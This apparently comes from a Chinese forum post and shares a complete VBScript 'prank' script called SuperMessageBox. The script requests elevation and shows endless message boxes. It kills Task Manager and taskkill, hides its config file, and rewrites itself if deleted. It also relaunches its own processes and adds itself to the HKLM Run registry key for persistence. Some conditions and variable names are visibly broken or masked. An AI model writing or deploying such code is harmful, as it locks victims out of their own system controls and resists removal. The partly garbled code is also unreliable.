该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
'貌似刚才缩进空格被吞了,再发一次
Set FSO = createobject("scripting.filesystemobject")
Set ws = Createobject("Wscript.shell")
Set SA = CreateObject("Shell.Application")
If Wscript.Arguments.Count = 0 Then
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " msg","","runas",1
Wscript.Quit
ElseIf Wscript.Arguments(0) = "autorun" Then
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " running","","runas",1
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Wscript.Quit
End If
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Call QuitIfRunningTooMuch()
SelfFolderPath = FSO.GetFile(Wscript.ScriptFullName).ParentFolder.Path
If Right(SelfFolderPath,1) <> "\" Then
SelfFolderPath = SelfFolderPath & "\"
End If
ConfigPath = SelfFolderPath & "WindowMSGSaver.ini"
SelfScriptPath = Wscript.ScriptFullName
Self = FSO.OpenTextFile(SelfScriptPath).ReadAll
If Wscript.Arguments(0) = "msg" Then
MainMSG = InputBox ("请输入主信息:","整人-超级信息框","Message---SuperMessageBox")
If IsEmpty(MainMSG) Then
WScript.Quit
End If
WinTitle = InputBox ("请输入窗口标题:","整人-超级信息框","SuperMessageBox")
If IsEmpty(WinTitle) Then
WScript.Quit
End If
Call SaveConfig()
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Else
Set SelfFile = FSO.OpenTextFile(ConfigPath)
MainMSG = SelfFile.ReadLine
WinTitle = SelfFile.ReadLine
Set SelfFile = Nothing
End If
Do
If Wscript.Arguments(0) = "msg" Or Wscript.Arguments(0) = "running" Then
MsgBox MainMSG,64+4096,WinTitle
Else
Call ExecIfRunningTooFew()
Call SaveSelfScript()
Call SaveConfig()
Call TerminateProcess("taskkill.exe")
Call TerminateProcess("taskmgr.exe")
Call AddRun()
End If
Loop
Function ExecIfRunningTooFew()
On Error Resume Next
Set Processes = objWMIService.ExecQuery("Select * from Win32_Process where Name = 'Wscript.exe'",,48)
ntr_uac = 0
ntr_**** = 0
For Each Process In Processes
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ uac" Then
ntr_uac = ntr_uac + 1
End If
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ msg" Then
ntr_**** = ntr_**** + 1
End If
If Process.CommandLine = """" & Wscript.FullName & """ """ & Wscript.ScriptFullName & """ running" Then
ntr_**** = ntr_**** + 1
End If
Next
If ntr_uac
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " uac","","runas",1
Call MessageBox("Process Protection is on",48+4096,"SuperMessageBox")
End If
If ntr_****
SA.ShellExecute "Wscript.exe",Chr(34) & Wscript.ScriptFullName & chr(34) & " running","","runas",1
Call MessageBox("Process Protection is on",48+4096,"SuperMessageBox")
End If
End Function
Function QuitIfRunningTooMuch()
On Error Resume Next
Set VBSProcesses = objWMIService.ExecQuery("Select * from Win32_Process where Name = 'Wscript.exe'",,48)
ntr = 0
For Each VBSProcess in VBSProcesses
If InStr(1,VBSProcess.CommandLine,Wscript.ScriptFullName) = Len(Wscript.FullName) + 5 Then
ntr = ntr + 1
If ntr > 3 Then
Wscript.Quit
End If
End If
Next
End Function
Function SaveConfig()
On Error Resume Next
Write = False
CorrectContent = MainMSG & Chr(13) & Chr(10) & WinTitle & Chr(13) & Chr(10)
If Not FSO.FileExists(ConfigPath) Then
Write = True
ElseIf FSO.OpenTextFile(ConfigPath).ReadAll <> CorrectContent Then
Write = True
End If
If Write Then
FSO.GetFile(ConfigPath).Attributes = 0
FSO.GetFile(ConfigPath).Delete
FSO.CreateTextFile(ConfigPath,True).Write CorrectContent
End If
FSO.GetFile(ConfigPath).Attributes = 7
End Function
Function SaveSelfScript()
On Error Resume Next
Write = False
If Not FSO.FileExists(SelfScriptPath) Then
Write = True
ElseIf FSO.OpenTextFile(SelfScriptPath).ReadAll <> Self Then
Write = True
End If
If Write Then
FSO.GetFile(SelfScriptPath).Attributes = 0
FSO.GetFile(SelfScriptPath).Delete
FSO.CreateTextFile(SelfScriptPath,True).Write Self
End If
End Function
Function TerminateProcess(ProcessName)
On Error Resume Next
Set Processes = objWMIService.ExecQuery("Select * from Win32_Process where Name = '" & ProcessName & "'",,48)
For Each Process In Processes
Process.Terminate
Call MessageBox("[" & ProcessName & "] is disabled",16+4096,"SuperMessageBox")
Next
End Function
Function AddRun()
On Error Resume Next
Past = ""
CorrectRegContent = "Wscript.exe """ & Wscript.ScriptFullName & """ autorun"
RunRegPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SuperMessageBox"
Past = ws.RegRead(RunRegPath)
If Past <> CorrectRegContent Then
ws.RegWrite RunRegPath,CorrectRegContent
End If
End Function
Function MessageBox(Content,Icon,Title)
On Error Resume Next
Content = Replace(Content,Chr(13),""" & Chr(13) & """)
Content = Replace(Content,Chr(10),""" & Chr(10) & """)
FilePath = SelfFolderPath & CreateRandomizedText(5) & ".vbs"
FileContent = "CreateObject(""Scripting.FileSystemObject"").DeleteFile Wscript.ScriptFullName" & Chr(13) & Chr(10) & "Msgbox """ & Content & """," & CStr(Icon) & ",""" & Title & """"
FSO.CreateTextFile(FilePath,True).Write FileContent
ws.Run """" & FilePath & """"
End Function
Function CreateRandomizedText(Length)
On Error Resume Next
Final = ""
letters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
LLength = Len(letters)
For i=1 To LLength
Randomize
rdnum = Int(85 * Rnd) + 1
Final = Final & Mid(letters,rdnum,1)
Next
CreateRandomizedText = Final
End Function